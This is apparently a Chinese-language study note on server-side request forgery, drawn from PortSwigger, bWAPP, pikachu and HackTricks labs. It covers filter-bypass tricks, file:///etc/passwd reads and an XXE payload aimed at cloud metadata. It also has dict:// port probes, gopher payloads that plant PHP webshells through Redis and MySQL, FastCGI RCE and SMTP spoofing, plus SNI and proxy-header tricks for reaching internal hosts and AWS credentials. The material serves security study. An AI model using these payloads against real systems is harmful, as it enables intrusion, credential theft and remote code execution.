文章目录
- 一. PortSwigger
- 1、本地服务器的基本SSRF
- 2、基本的目标不是漏洞机
- 3、Referer标头的外带SSRF
- 4、简单黑名单的SSRF
- 黑名单绕过思路:
- 5、重定向的SSRF
- 6. 简单的白名单SSRF
- 白名单绕过思路:
- 二、BWAPP
- 1. SSRF + 文件包含漏洞 | 内网探测
- 2. XXE -> SSRF
- 三、pikachu
- 1. file协议 | 读取文件
- 2. dict协议 | **快速端口探测与服务识别**
- 四、HackTricks
- 1. gopher协议 | RCE
- 协议介绍:
- 2. http协议 | 获取元数据
- 3. PDF SSRF
- 4. Referer | SSRF
- 5. SNI | SSRF
- 二、利用
- 三、案例
- 6. 代理劫持 | SSRF (类似SNI Nginx SSRF)
- 7. 为什么SSRF很少使用file://
一. PortSwigger
1、本地服务器的基本SSRF
抓请求包,发现存在一个socketapi,后面跟着的是网址,直接替换成 http://localhost/admin
2、基本的目标不是漏洞机
发现改为loaclhost没用,提示内网网段是192.168.0.x,端口是8080,直接bp的intruder跑,最终发现目标在192.168.0.5上。
3、Referer标头的外带SSRF
首先此URL是在Referer中的,并且没用回显,所以直接使用collaborator的url,外带。
4、简单黑名单的SSRF
对127.0.0.1和admin进行了黑名单;
黑名单绕过思路:
-
短链,原理重定向
-
对域名的黑名单:
- 域名解析
-
IP混淆
- ipv4非标准格式
- ipv6
- ip分段和省略
-
url编码
-
对ip的黑名单:
-
DNS重绑
-
SNI + 域名注册解析
客户端发送:目标 IP 地址:1.2.3.4(这个不在黑名单中)SNI 域名:evil.me -> 192.168.1.100服务端校验 IP:1.2.3.4 没在黑名单 ✅,放行代理或网关(如 Envoy)收到请求:根据 SNI(evil.me)查找对应的 内部服务配置实际将请求路由到 → 192.168.1.100
-
5、重定向的SSRF
攻击面在重定向的url里
6. 简单的白名单SSRF
白名单绕过思路:
- 对ip的白名单
- DNS重绑
- 域名@:
http://trusted.com@evil.com
- 域名#:
https://evil-host#expected-host
- 注册域名:https://expected-host.evil-host
二、BWAPP
1. SSRF + 文件包含漏洞 | 内网探测
http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**
解释:
- ip1存在ssrf
- ip2为自己的ip
- ip3为目标的内网ip,ip2范围不了
- 在ip1上又存在文件包含漏洞
- ip2上放应该扫描脚本,让ip1包含
2. XXE -> SSRF
维度 | XXE | SSRF |
---|---|---|
触发机制 | 通过恶意 XML 输入触发 | 通过用户控制的 URL 参数触发 |
主要攻击面 | 文件读取、内网探测、DoS、SSRF 等 | 内网服务访问、云元数据窃取、端口扫描等 |
协议支持 | 支持多种协议(HTTP、FILE、Gopher 等) | 通常依赖 HTTP/HTTPS |
防御重点 | 禁用外部实体和 DTD | 校验请求目标、网络隔离 |
当 XXE 的外部实体指向一个网络资源时,服务器会尝试发起请求,此时 XXE 的利用效果与 SSRF 一致。
示例:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
- 效果:服务器访问云元数据接口,等同于 SSRF 攻击。
三、pikachu
1. file协议 | 读取文件
-
协议支持广泛性
- 许多编程语言的网络库默认支持多种协议(如
HTTP
、HTTPS
、FTP
、File
)。 - 例如:
- PHP 的
file_get_contents()
支持file://
。 - Python 的
urllib.request.urlopen()
支持file://
。
- PHP 的
- 许多编程语言的网络库默认支持多种协议(如
-
输入验证不严
-
若服务端未对用户输入的协议类型进行过滤,攻击者可构造
file://
路径。 -
示例漏洞代码(PHP):
$url = $_GET['url']; // 用户可控输入 $content = file_get_contents($url); echo $content;
攻击者提交
?url=file:///etc/passwd
,服务器返回/etc/passwd
内容。
-
-
编码混淆绕过
-
攻击者可能对路径进行 URL 编码,绕过简单过滤:
file://%2Fetc%2Fpasswd → 解码为 file:///etc/passwd
-
2. dict协议 | 快速端口探测与服务识别
服务名称 | 默认端口 | 示例 Payload | 响应特征 | 攻击用途 |
---|---|---|---|---|
Redis | 6379 | dict://127.0.0.1:6379/info | 返回 Redis 版本、配置信息(如 redis_version:6.0.9 ) | 探测 Redis 服务、执行未授权命令(如 FLUSHALL 、CONFIG SET ) |
Memcached | 11211 | dict://127.0.0.1:11211/stats | 返回统计信息(如 STAT pid 1 、STAT version 1.6.9 ) | 探测 Memcached 服务、查看统计信息 |
Elasticsearch | 9200 | dict://127.0.0.1:9200/_cluster/health | 返回 JSON 格式集群健康信息(如 "status":"green" ) | 确认 Elasticsearch 服务状态 |
SSH | 22 | dict://127.0.0.1:22/ | 返回 SSH 协议标识(如 SSH-2.0-OpenSSH_8.2p1 ) | 探测 SSH 服务、获取版本信息 |
ZooKeeper | 2181 | dict://127.0.0.1:2181/stat | 返回 ZooKeeper 状态(如 Zookeeper version: 3.6.3 ) | 确认 ZooKeeper 服务存活 |
FTP | 21 | dict://127.0.0.1:21/ | 返回 FTP 欢迎信息(如 220 FTP Server ready ) | 探测 FTP 服务、获取版本信息 |
SMTP | 25 | dict://127.0.0.1:25/HELO | 返回 SMTP 响应(如 250 smtp.example.com ) | 探测 SMTP 服务、验证邮件服务器 |
HTTP | 80/443 | dict://127.0.0.1:80/GET / HTTP/1.0 | 返回 HTTP 响应头(如 HTTP/1.1 200 OK ) | 探测 Web 服务、验证 HTTP 协议支持 |
PostgreSQL | 5432 | dict://127.0.0.1:5432/ | 返回错误(如 Protocol error )或连接成功无响应 | 探测 PostgreSQL 端口开放状态 |
MySQL | 3306 | dict://127.0.0.1:3306/ | 返回 MySQL 协议握手包(需解析二进制数据) | 探测 MySQL 服务存活 |
DNS | 53 | dict://127.0.0.1:53/ | 无响应或返回协议错误(需 UDP 协议支持) | 探测 DNS 服务端口开放状态 |
MongoDB | 27017 | dict://127.0.0.1:27017/ | 返回 MongoDB 协议握手包(需解析二进制数据) | 探测 MongoDB 服务存活 |
RDP | 3389 | dict://127.0.0.1:3389/ | 返回 RDP 协议握手包(需解析二进制数据) | 探测远程桌面服务状态 |
VNC | 5900 | dict://127.0.0.1:5900/ | 返回 RFB 协议标识(如 RFB 003.008 ) | 探测 VNC 服务版本 |
四、HackTricks
1. gopher协议 | RCE
协议介绍:
Gopher协议是一种古老的、基于TCP的协议,支持直接指定IP、端口和任意字节流(payload)。这意味着攻击者可以通过Gopher协议构造几乎任何类型的TCP数据包,不仅限于HTTP请求,从而突破HTTP协议的限制。
Gopher协议支持构造完整的GET和POST请求数据包。攻击者可以先抓取请求的原始数据包(包括头部和body),将其转换为Gopher格式,通过SSRF漏洞发送到目标服务。
目标服务 | 攻击场景 | Payload 构造步骤 | 修复建议 |
---|---|---|---|
Redis 未授权访问 | 通过 CONFIG SET 修改持久化路径,写入 Webshell 或 SSH 密钥。 | 1. 构造 Redis 命令:CONFIG SET dir /var/www/html 2. 转换为 Gopher 格式并 URL 编码: gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$5%0d%0a12345%0d%0a*1%0d%0a$4%0d%0asave%0d%0a | 1. 启用 Redis 密码认证 2. 禁止绑定公网 IP |
MySQL 未授权执行 | 利用无密码认证漏洞发送恶意 SQL 语句(需协议握手包构造)。 | 1. 构造 MySQL 认证包(十六进制): gopher://127.0.0.1:3306/_%01%00%00%01%85%00%00%00%00%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 2. 附加 SQL 语句(如 SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php' )。 | 1. 强制密码认证 2. 禁用 INTO OUTFILE 权限 |
SMTP 邮件伪造 | 伪造发件人发送钓鱼邮件或垃圾邮件。 | 1. 构造 SMTP 命令序列: HELO attacker.com%0d%0aMAIL FROM:<spoof@example.com>%0d%0aRCPT TO:<victim@example.com>%0d%0aDATA%0d%0aSubject: Test%0d%0aHello!%0d%0a.%0d%0aQUIT 2. 生成 Gopher URL: gopher://smtp.example.com:25/_HELO%20attacker.com%250d%250a... | 1. 启用 SMTP 身份验证 2. 配置 SPF/DKIM/DMARC 反伪造策略 |
FastCGI RCE | 利用 PHP-FPM 未授权访问执行系统命令。 | 1. 构造 FastCGI 请求包: gopher://127.0.0.1:9000/_%01%01...{恶意载荷}... 2. 载荷包含 SCRIPT_FILENAME 指向 PHP 文件,PHP_VALUE 注入代码。 | 1. 限制 FastCGI 监听地址 2. 配置 PHP-FPM 访问控制 |
Memcached 未授权 | 通过 set 命令写入恶意缓存数据,触发反序列化漏洞。 | 1. 构造 Memcached 命令: set key 0 3600 10%0d%0aevil_data%0d%0a 2. 转换为 Gopher URL: gopher://127.0.0.1:11211/_set%20key%200%203600%2010%0d%0aevil_data%0d%0a | 1. 绑定本地回环地址 2. 启用 SASL 认证 |
Zabbix 未授权 RCE | 利用 Zabbix Server 的 script.exec 执行系统命令。 | 1. 构造 JSON-RPC 请求: {"jsonrpc":"2.0","method":"script.update","params":{"scriptid":"1","command":"id"},"id":1} 2. 转换为 Gopher 载荷: gopher://zabbix-server:10051/_POST%20... | 1. 限制 Zabbix Server 的 API 访问 2. 更新至最新版本 |
HTTP 请求伪造 | 穿透内网访问管理接口(如 Jenkins、Kubernetes API)。 | 1. 构造 HTTP 请求头: GET /manager/html HTTP/1.1%0d%0aHost: 192.168.1.100%0d%0a%0d%0a 2. 生成 Gopher URL: gopher://192.168.1.100:8080/_GET%20/manager/html%20HTTP/1.1%250d%250aHost:%20192.168.1.100%250d%250a%250d%250a | 1. 网络隔离内网服务 2. 启用身份认证 |
2. http协议 | 获取元数据
目标:通过 SSRF 获取云服务的敏感信息。
关键点:
- 访问 AWS 元数据服务(如
http://169.254.169.254/latest/meta-data/
)获取凭证。 - 在 AWS ECS 中,读取环境变量(如
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
)获取凭证 。
3. PDF SSRF
-
恶意元素:在 PDF 中嵌入指向内部服务的图像或字体 URL。
-
攻击流程:
-
用户上传包含以下内容的 PDF:
<</Type /Page/Contents [ <</Length 100>> streamBT /F1 20 Tf 100 700 Td (Click me) Tj ET<</Subtype /Image/Width 100/Height 100/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter /ASCIIHexDecode /Length 50>> stream2 0 obj <</Length 10>> stream http://169.254.169.254/latest/meta-data/
-
服务器解析 PDF 时尝试加载外部图像,向云元数据接口发起请求。
-
响应数据可能被记录或返回给攻击者,导致敏感信息(如 IAM 凭证)泄露。
-
4. Referer | SSRF
目标:利用 Referer 头部引发 SSRF。
关键点:
- 某些服务器会访问 Referer 头部中的 URL,攻击者可控制该头部引导服务器访问恶意资源 。HackTricks
- 使用工具(如 Burp Suite 的 Collaborator Everywhere 插件)辅助发现此类漏洞。HackTricks
5. SNI | SSRF
一、SNI作用 | 支持多域名共享同一 IP 地址
- 场景:一台服务器(IP 地址)托管多个 HTTPS 网站(如 example.com 和 test.com),每个网站有独立的 SSL/TLS 证书。
- 问题:在 TLS 握手时,服务器需要先提供证书,但 HTTP 请求的 Host 头(包含域名)在加密通道建立后才发送,服务器无法提前知道客户端想要哪个证书。
- SNI 的作用
- 客户端在 TLS 握手的 ClientHello 消息中包含 SNI 扩展,指定目标域名(如 example.com)。
- 服务器根据 SNI 值选择并返回对应的证书。
- 结果:无需为每个域名分配独立 IP,降低了成本,广泛应用于虚拟主机、CDN 和云服务。
二、利用
✅ 1. SNI 伪装访问内网 IP(绕过 IP 黑名单)
- 注册一个域名
evil.me
,将其 DNS 指向192.168.1.100
- 发起 SSRF 到
https://evil.me
- 设置 SNI 为
evil.me
- 服务器通过内部 DNS 解析
evil.me
,请求到达内网服务 ✅
✅ 2. SNI + Nginx $ssl_server_name
动态代理 SSRF
proxy_pass https://$ssl_server_name;
- 发请求时设置 SNI 为内网 IP:
192.168.1.100
- 即使请求 URL 是公网域名,服务端也会根据 SNI 反代进内网!
三、案例
🧊 案例 1:AWS 元数据 SSRF 绕过(SNI 伪装)
curl --resolve metadata.aws:443:169.254.169.254 https://metadata.aws
- 你设置了 DNS:metadata.aws → 169.254.169.254(元数据地址)
- SNI 设置为 metadata.aws(看起来合法)
- 请求实际打到元数据服务器 ✅
- 获取 IAM 临时凭证、AccessKey 等敏感数据
🧊 案例 2:Nginx SSRF 利用 $ssl_server_name
proxy_pass https://$ssl_server_name;openssl s_client -connect target.com:443 -servername 192.168.1.100
- 客户端设置
SNI: 192.168.1.100
- 请求发给
target.com
- 服务器看到
$ssl_server_name = 192.168.1.100
- 自动反代到
https://192.168.1.100
✅
6. 代理劫持 | SSRF (类似SNI Nginx SSRF)
攻击姿势:
通过控制中间代理或反向代理的标头(如 X-Forwarded-Host
),篡改请求目标。
示例请求:
POST /ssrf?target=https://go.dialexa.com HTTP/1.1
Host: victim.com
X-Original-Host: 127.0.0.1 # 篡改代理标头
攻击逻辑:
-
反向代理(如 Nginx)可能信任
X-Original-Host
标头,覆盖实际 Host:location /ssrf {proxy_pass http://$http_x_original_host; # 漏洞点 }
-
实际请求被代理到
http://127.0.0.1
,而非go.dialexa.com
。
生效条件:
- 代理服务信任并解析特定标头(如
X-Forwarded-For
、X-Original-Host
)。 - 标头值未被过滤,允许注入内网 IP 或域名。
7. 为什么SSRF很少使用file://
- SSRF 的核心是:绕过网络边界,去请求 外部或内网资源;
file://
协议不走网络栈,它直接访问本地文件系统;- 用
file://
就完全脱离了这个核心,实战中用处非常有限。